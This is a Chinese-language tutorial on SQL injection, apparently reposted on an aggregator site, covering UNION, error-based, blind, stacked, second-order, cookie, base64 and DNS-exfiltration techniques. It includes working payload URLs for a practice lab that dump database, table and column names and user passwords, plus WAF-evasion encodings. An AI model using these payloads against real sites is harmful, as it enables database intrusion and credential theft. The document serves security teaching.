SQL 注入

news/2026/1/25 11:25:38/文章来源:https://www.cnblogs.com/77burger/p/19525632

0x01 SQL 注入简介

在 OWASP 发布的 top10 排行榜中 SQL 注入漏洞一直是危害排名极高的漏洞,数据库注入一直是 web 中一个令人头疼的问题。SQL 注入其实就是恶意用户通过在表单中填写包含 SQL 关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据做了代码才能干的事情。这个问题的来源是,SQL 数据库的操作是通过 SQL 语句来执行的,而无论是执行代码还是数据项都必须写在 SQL 语句之中,这就导致如果我们在数据项中加入了某些 SQL 语句关键字(比如说 SELECT、DROP 等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

0x02 information_schema

在 MySQL5.0 版本后,MySQL 默认在数据库中存放一个information_schema的数据库,在该库中,我们需要记住三个表名,分别是 schematatablescolumns
schemata 表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name。
tables 表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名和表名的字段分别是 table_schema 和 table_name。
columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名表名、字段名为 table_schema、table_name、columns_name。
查询所有的库名select schema_name from information_schema.schemata;
查询 security 库里面所有的表名select table_name from information_schema.tables where table_schema='security';
查询 security 库里面 users 表的所有字段select column_name from information_schema.columns where table_schema='security' and table_name='users';
查询 users 表中的账号密码select username,password from users;

0x03 SQL 注入原理

SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。举例说明:

$id=$_GET['id'];
$sql=SELECT * FROM users WHERE id=$id LIMIT 0,1

SQL 注入漏洞产生的条件:
①参数用户可控:前端传入的参数内容由用户控制
②参数带入数据库的查询:传入的参数拼接到 SQL 语句,并且带入数据库的查询

0x04 SQL 注入类型

按注入点分:数字;字符;搜索
按提交方式分:GET、POST、HEAD、COOKIE
按执行效果分:联合查询注入、报错注入、布尔盲注、时间盲注、单引号、双引号、数字
总的来说有:联合注入、报错注入、布尔注入、时间注入、堆叠注入、二次注入、宽字节注入、cookie注入......

0x05 SQL 注入探测

一般来说,SQL 注入一般存在于形如:http://xxx.xxx.xxx/abc.php?id=XX&type_id=123等带有参数的 php 动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入。如果 php 程序员没有安全意识,没有进行必要的字符过滤,存在 SQL 注入的可能性就非常大。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; # 字符型
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; # 数字型

为什么要加 and 1=1 和 and 1=2:

逻辑运算符 and 和 or
真 and 真 = 真
真 and 假 = 假

0x06 SQL 注入类型判断

为了把问题说明清楚,以下以http://xxx.xxx.xxx/abc.php?ip=YY为例进行分析,YY可能是整型,也有可能是字符串。可以用以下步骤测试 SQL 注入是否存在:

1.在URL链接中附加一个单引号,即http://xxx.xxx.xxx/abc.php?p=YY'
此时abc.php中的SQL语句变成了:select * from 表名 where 字段=YY' #abc.php运行异常
2.在URL链接中附加字符串and 1=1,即http://xxx.xxx.xxx/abc.php?p=YY and 1=1 #abc.php运行正常
3.在URL链接中附加字符串and 1=2,即http://xxx.xxx.xxx/abc.php?p=YY and 1=2 #abc.php运行异常
# 如果以上三种情况全部满足,abc.php中一定存在数字SQL注入漏洞
如果说上面判断不成立
4.在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' -- s //判断是否为字符型
5.在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=1 -- s //结果返回正常
6.在URL链接中附加字符串' -- s即http://xxx.xxx.xxx/abc.php?p=YY' and 1=2 -- s //结果返回异常
则通过4,5,6判断出为字符型

0x07 UNION 注入

UNION 注入的方式有很多,如:get、post、head、cookie 等等。UNION 联合是将多条查询语句的结果合并成一个结果,UNION 注入攻击为一种手工测试。

UNION 联合注入思路

//判断注入点
http://www.sqli.com/Less-1/?id=1' # 报错
http://www.sqli.com/Less-1/?id=1' -- s # 返回正常
http://www.sqli.com/Less-1/?id=1' and 1=1 -- s # 返回正常
http://www.sqli.com/Less-1/?id=1' and 1=2 -- s # 返回异常
则存在字符型注入
//判断字段数量
http://www.sqli.com/Less-1/?id=1' order by 3 -- s # 返回正常,则至少有三个字段
http://www.sqli.com/Less-1/?id=1' order by 4 -- s # 报错,则说明没有第四个字段,那么就是有三个字段
//判断回显点
http://www.sqli.com/Less-1/?id=-1'union select 1,2,3 -- s # 让前面查询一个不存在的值,则可以把回显点显示出来
//爆数据
http://www.sqli.com/Less-1/?id=-1'union select 1,2,user() -- s # 爆出数据库用户名
http://www.sqli.com/Less-1/?id=-1'union select 1,2,database() -- s # 爆出当前数据库名
http://www.sqli.com/Less-1/?id=-1'union select 1,2,version() -- s # 爆出数据库版本
//爆所有库名
http://www.sqli.com/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata -- s
//爆出security库中所有表名
http://www.sqli.com/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- s
//爆出users表中所有字段
http://www.sqli.com/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- s
//查找所有账号和密码
http://www.sqli.com/Less-1/?id=-1'union select 1,username,password form users

0x08 POST 注入

POST 注入思路和 GET 显错位注入思路一致,只是请求的方法从 GET 变为了 POST。

0x09 报错注入

什么是报错注入

在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete 都可以使用报错来获取信息。

  • 常用的爆错函数 updatexml(),extractvalue(),floor() ,exp()
  • 基于函数报错的信息获取(select/insert/update/delete)
  • updatexml()函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数
  • extractvalue()函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数

由于后台没有对数据库的报错信息做过滤,会输入到前台显示,那么我们可以利用制造报错函数(常用的如 extractvalue、updatexml 等函数来显示出报错的信息输出)。MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的两个函数:extractvalue、updatexml。

名称 描述
ExtractValue() 使用XPath表示法从XML字符串中提取值
UpdateXML() 返回替换的XML

ExtractValue 函数

语法:

ExtractValue(target, xpath)
target:包含XML数据的列或XML文档
xpath:XPath 表达式,指定要提取的数据路径

例如:SELECT ExtractValue('<a><b>1231313</b></a>', '/a/b');就是寻找前一段 xml 文档内容中的a节点下的b节点,这里如果 Xpath 格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。利用 concat 函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
image

UpdateXML 函数

语法:

updateXML(target, xpath, new_value)
target:要更新的 XML 数据列或 XML 文档
xpath:指定要更新的 XML 元素的 XPath 表达式
new_value:新的值,将替代匹配的 XML 元素的内容

比如:

UPDATE your_table
SET xml_data = updatexml(xml_data, '/root/element', 'new_value')
WHERE some_condition;

上述 SQL 查询会在满足 some_condition 的记录中,将 /root/element 的内容替换为 new_value。如果 xpath_expr 未找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML 片段。所有三个参数都应该是字符串。
image

0x0A HEAD 注入

PHP 中的许多预定义变量都是"超全局的",这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是:

$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET (获取GET的传参)
$_COOKIE (获取COOKIE的值)
$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
$_SERVER['HTTP_HOST'] 请求头信息中的Host内容,获取当前域名。
$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作系统等信息。
$_SERVER["HTTP_REFERER"] 获取请求来源
$_SERVER["HTTP_X_FORWARDED_FOR"] 获取浏览用户IP
$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip

0x0B 布尔盲注

有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入,称为盲注。盲注根据展现方式,分为 boolean 型盲注和时间型盲注。Boolean 是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过 and1=1 和 and 1=2 可以发现注入点。Boolean 型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。

0x0C 堆叠注入

Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在 mysql 中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
在 SQL 中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

堆叠注入条件

堆叠注入的使用条件十分有限,其可能受到 API 或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query() 函数就支持多条 sql 语句同时执行,但实际情况中,如 PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_query() 函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

语句构造

正常 sql 语句:select * from users where id='1'
注入 sql 语句:select * from users where id='1';select if(length(database())>5,sleep(5),1)%23;
堆叠注入和 union 的区别在于,union 后只能跟 select,而堆叠后面可以使用 insert,update,create,delete 等常规数据库语句。

0x0D 二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到 SQL 查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web 程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。也就是说一次攻击造成不了什么,但是两次配合起来就会造成注入漏洞。

注入思路

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

0x0E Cookie 注入

一般的防注入程序都是基于"黑名单"的,根据特征字符串去过滤掉一些危险的字符。一般情况下,黑名单是不安全的,它存在被绕过的风险。有的防注入程序只过滤了通过 GET、POST 方式提交的数据,对通过 Cookie 方式提交的数据却并没有过滤,我们可以使用 Cookie 注入攻击。简单说,cookie 是服务器给客户端的一种加密凭证,通常由客户端存储在本地,比如客户A访问XXXX.com,网页给了客户A一个123的凭证,客户B也去访问那个网址,网站给B一个456的凭证,以后A和B去访问那个网站的时候只要加上了那个凭证网站就可以把两个人分开了。
Cookie 最先是由 Netscape(网景)公司提出的,Netscape 官方文档中对 Cookie 的定义是这样的:Cookie 是在 HTTP 协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 的用途非常广泛,在网络中经常可以见到 Cookie 的身影。它通常被用来辨别用户身份、进行 session 跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。Cookie 注入简单来说就是利用 Cookie 而发起的注入攻击。从本质上来讲,Cookie 注入与传统的 SQL 注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。如果开发者直接使用了 cookie 中的数据,并且没有对其进行校验。那么 cookie 注入可能就产生了。

注入步骤

①寻找形如".php?id=1"类的带参数的URL
②去掉"id=1"查看页面显示是否正常:如果不正常,说明参数在数据传递中是直接起作用的;如果正常,再判断参数是否通过 cookie 传递
③使用burp抓包并构造 payload,然后使用常规注入语句进行注入即可

0x0F Base64 注入

base64 注入是针对传递的参数被 base64 编码后的注入点进行注入。这种方式常用来绕过一些 WAF 的检测。如果有 WAF,则 WAF 会对传输中的参数 ID 进行检查,但由于传输中的 ID 经过 base64 编码,所以此时 WAF 很有可能检测不到危险代码,进而绕过了 WAF 检测。对参数进行 base64 编码:id=1,id=1',id=1 and 1=1,id=1 and 1=2。编码后:id=MQ==,id=MSc=,id=MSBhbmQgMT0x,id=MSBhbmQgMT0y 来判断是否存在 SQL 注入漏洞。

0x10 DNS 注入

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。
LOAD_FILE() 读取文件的函数,读取文件并返回文件内容为字符串。
查看 secure_file_priv 的状态命令:show global variables like '%secure_file_priv%';

DNS 注入条件

  • secure_file_priv=''必须为空
  • 文件必须位于服务器主机上
  • 必须指定完整路径的文件
  • 而且必须有 FILE 权限
  • 该文件所有字节可读,但文件内容必须小于 max_allowed_packet(限制server接受的数据包大小函数,默认1MB)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1214135.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何提升用户体验?unet image WebUI界面优化实战建议

如何提升用户体验&#xff1f;UNet Image Face Fusion WebUI界面优化实战建议 1. 为什么界面体验比功能更重要&#xff1f; 你有没有遇到过这样的情况&#xff1a;一个工具功能很强大&#xff0c;但每次打开都得琢磨半天按钮在哪、参数怎么调、结果出不来还得反复试&#xff…

2026权威专利代办指南:一站式服务网站优选清单,专利复审申请/专利改写升级/智能专利查重,专利代办系统哪家靠谱

引言:行业变革与一站式服务的价值凸显 当前,随着国家创新驱动发展战略的深入实施,专利申请量与技术创新活动日益活跃。然而,传统的专利服务模式长期面临效率瓶颈、成本高昂与质量波动等挑战,难以满足广大创新主体…

新手教程:如何避免 CSS vh 引发的滚动条问题

以下是对您提供的博文进行 深度润色与结构重构后的技术博客正文 。我已严格遵循您的全部要求: ✅ 彻底去除AI痕迹 :语言自然、有节奏感,像一位实战经验丰富的前端工程师在分享踩坑心得; ✅ 摒弃模板化标题 :无“引言/概述/总结”等程式化小节,全文以逻辑流驱动,…

基于Spring Boot的校园学生考勤系统设计与实现(毕业论文)

摘 要 学生考勤管理作为高校信息化建设的重要组成部分&#xff0c;整合了身份识别、出入管理、考勤管理等多种功能。然而&#xff0c;传统系统存在功能单一、数据分散、信息孤岛等问题&#xff0c;严重制约了学校管理效率的提升。针对这些问题&#xff0c;本文基于后端S…

SGLang与普通LLM框架有何不同?对比实测

SGLang与普通LLM框架有何不同&#xff1f;对比实测 你是否遇到过这样的场景&#xff1a;部署一个7B模型&#xff0c;QPS刚到12就CPU飙高、GPU显存碎片化严重&#xff1b;多轮对话中相同历史反复计算&#xff0c;延迟翻倍&#xff1b;想让模型输出标准JSON却要靠后处理硬解析&a…

YOLOv9模型训练踩坑记录,这些错误别再犯

YOLOv9模型训练踩坑记录&#xff0c;这些错误别再犯 YOLOv9刚发布时&#xff0c;我第一时间拉起镜像、准备数据、信心满满地敲下训练命令——结果不到三分钟就报错退出。重试五次&#xff0c;五次失败&#xff1a;CUDA内存爆满、配置文件路径不对、数据集加载为空、loss突然na…

新手必看!Qwen-Image-2512-ComfyUI保姆级部署教程

新手必看&#xff01;Qwen-Image-2512-ComfyUI保姆级部署教程 1. 为什么你需要这个镜像&#xff1a;不是所有中文图生图都一样 你有没有试过用其他模型生成“中国航天员在天宫空间站挥毫写春联”这样的画面&#xff1f;结果要么春联文字糊成一片&#xff0c;要么空间站背景错…

用Glyph实现AI速读,处理百万字小说不再难

用Glyph实现AI速读&#xff0c;处理百万字小说不再难 1. 为什么读小说对AI来说这么难&#xff1f; 你有没有试过让大模型读一本《三体》&#xff1f;不是摘要&#xff0c;是真正理解里面层层嵌套的宇宙观、人物关系和伏笔逻辑。结果往往是&#xff1a;模型卡在第一页&#xf…

一文说清AUTOSAR网络管理基本工作原理

以下是对您提供的博文《一文说清AUTOSAR网络管理基本工作原理》的 深度润色与专业重构版本 。本次优化严格遵循您的全部要求: ✅ 彻底去除AI痕迹,语言自然、老练、有工程师现场感; ✅ 摒弃“引言/概述/总结”等模板化结构,全文以逻辑流驱动,层层递进; ✅ 所有技术点…

Z-Image-Turbo为何要设MODELSCOPE_CACHE?缓存机制详解

Z-Image-Turbo为何要设MODELSCOPE_CACHE&#xff1f;缓存机制详解 1. 开箱即用的文生图高性能环境 你是否经历过这样的场景&#xff1a;兴冲冲下载一个文生图模型&#xff0c;结果卡在“Downloading model weights…”长达半小时&#xff1f;显存够、算力足&#xff0c;却败给…

unet image Face Fusion性能评测:不同分辨率输出速度对比

unet image Face Fusion性能评测&#xff1a;不同分辨率输出速度对比 1. 为什么要做分辨率与速度的实测 你有没有遇到过这种情况&#xff1a;点下“开始融合”后&#xff0c;盯着进度条等了快十秒&#xff0c;结果只生成了一张512512的小图&#xff1f;而当你切到20482048选项…

风格强度怎么调?科哥人像卡通化参数设置全攻略

风格强度怎么调&#xff1f;科哥人像卡通化参数设置全攻略 1. 为什么风格强度是人像卡通化的“灵魂参数”&#xff1f; 你有没有试过&#xff1a;同一张照片&#xff0c;两次点击“开始转换”&#xff0c;出来的效果却像两个人画的&#xff1f;一次自然生动&#xff0c;一次僵…

如何避免变频器干扰造成STLink识别中断的实践指南

以下是对您提供的技术博文进行 深度润色与重构后的专业级技术文章 。全文已彻底去除AI生成痕迹,采用真实工程师口吻写作,逻辑层层递进、语言简洁有力、重点突出实战价值,并严格遵循您提出的全部格式与风格要求(无模块化标题、无总结段、自然收尾、强化教学性与可操作性)…

CosyVoice2-0.5B支持哪些语言?中英日韩混合合成实测指南

CosyVoice2-0.5B支持哪些语言&#xff1f;中英日韩混合合成实测指南 你是不是也试过&#xff1a;录一段自己的声音&#xff0c;想让AI用这个音色说英文、日文甚至带四川口音的中文&#xff0c;结果语音生硬、语调奇怪、多语言切换像卡顿的翻译机&#xff1f;别急——这次我们把…

Qwen3-4B-Instruct-2507参数调优:提升指令遵循精度教程

Qwen3-4B-Instruct-2507参数调优&#xff1a;提升指令遵循精度教程 1. 为什么需要调优&#xff1f;从“能回答”到“答得准” 你有没有遇到过这样的情况&#xff1a;模型明明能生成一大段文字&#xff0c;但仔细一看——跑题了、漏条件、把“不要加水印”理解成“加水印”&am…

IDA Pro逆向物联网设备固件的操作指南

以下是对您提供的博文《IDA Pro逆向物联网设备固件的操作指南:静态分析全流程技术解析》的 深度润色与专业重构版本 。本次优化严格遵循您的全部要求: ✅ 彻底去除AI痕迹,采用资深嵌入式安全工程师第一人称视角叙述 ✅ 打破“引言-定义-原理-优势”模板化结构,以真实工…

Packet Tracer官网下载步骤详解:初学者快速理解

以下是对您提供的博文《Packet Tracer官网下载全流程技术解析》的 深度润色与重构版本 。本次优化严格遵循您的全部要求: ✅ 彻底去除AI痕迹,语言自然、专业、有“人味”——像一位在高校带实验课十年的网络工程师,在办公室白板前边画边讲; ✅ 拆解所有模板化结构(如“…

段码屏驱动常见故障排查:快速定位显示问题

以下是对您提供的技术博文进行 深度润色与结构重构后的专业级技术文章 。我以一位深耕嵌入式显示系统十年的工程师视角,彻底摒弃模板化表达、AI腔调和教科书式罗列,将全文重写为一篇 有温度、有逻辑、有实战颗粒度、可直接用于产线排障的手册级指南 。 段码屏不是“接上…

动手试了TurboDiffusion:AI视频生成效果超出预期

动手试了TurboDiffusion&#xff1a;AI视频生成效果超出预期 1. 开箱即用的视频生成加速器 第一次打开TurboDiffusion镜像时&#xff0c;我本以为会遇到复杂的环境配置和漫长的编译等待。结果出乎意料——点击"webui"按钮&#xff0c;几秒钟后就进入了简洁的界面。…

unet image Face Fusion显存不足?融合比例优化实战解决

unet image Face Fusion显存不足&#xff1f;融合比例优化实战解决 1. 问题背景&#xff1a;为什么显存总在关键时刻告急 你是不是也遇到过这样的情况&#xff1a;刚把目标图和源图上传好&#xff0c;信心满满地拖动融合比例滑块到0.7&#xff0c;点击“开始融合”——结果界…